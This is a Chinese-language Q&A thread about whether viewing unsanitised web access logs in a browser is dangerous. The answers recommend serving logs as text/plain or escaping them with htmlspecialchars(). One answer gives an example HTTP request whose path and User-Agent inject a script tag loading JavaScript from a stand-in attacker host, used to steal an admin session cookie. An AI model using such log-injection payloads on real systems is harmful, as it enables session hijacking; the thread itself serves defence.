2009-06-26 32 views
5

查看訪問日誌而不通過網頁瀏覽器進行消毒是危險的嗎?瀏覽訪問日誌而不通過網頁瀏覽器進行消毒是危險的事情嗎?

我正在考慮以記錄訪問日誌,和我正在考慮通過WEV瀏覽器來查看它,但如果攻擊者修改了遠程主機或用戶代理什麼的,可他攻擊我嗎?

通過插入攻擊代碼到他的遠程主機或用戶代理或ect。

所以,我需要通過htmlspecialchar通過Web瀏覽器中打開訪問日誌文件之前進行消毒?

我的意思是攻擊者插入一些代碼攻擊到他的遠程主機或用戶代理或someware,然後我看到,通過Web瀏覽器訪問日誌,然後在我的電腦會受到影響的代碼。

回答

3

您可能需要某些html格式的輸出,因此必須清理/編碼日誌數據。但爲了參數的緣故:如果您以文本/純文本形式發送輸出,則客戶端不應解析任何html/javascript。
例如

<?php 
header('Content-type: text/plain; charset=utf-8'); 
echo '<script>alert(document.URL);</script>';
的輸出顯示爲
<script>alert(document.URL);</script>
(至少在FF3,IE8,opera,safari中)。

+1

是的,謝謝。那麼我最好把日誌文件擴展名爲「txt」,所以我很安全。 – 2009-06-26 12:57:37

4

理論上是可以的,是的,你應該讚揚自己具有正確的心態去思考這種方式。在將其顯示在網絡瀏覽器之前清理任何不受控制的輸入始終是一個好主意。

我將通過htmlspecialchars()運行日誌輸出。

5

是的,這是危險的。

例如,惡意用戶可以只要求是這樣的:

GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1 
Host: www.example.com 
Connection: close 
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script> 

而且具有惡意的JavaScript危及您的視圖頁面。

因爲你可能瀏覽您的網站日誌,你會被登錄爲具有管理權限的帳戶。隨着惡意JavaScript,攻擊者可以竊取你的會話cookie並接管你的會話,完成所有登錄後你可以做的事情。

所以,總之,你應該絕對是轉義訪問日誌頁面,除非您喜歡讓您的管理帳戶受到影響。

+0

是的。我在服務器日誌中看到過類似的東西,所以我在查看網頁中的任何部分之前清理腳本。 – 2009-06-26 06:12:34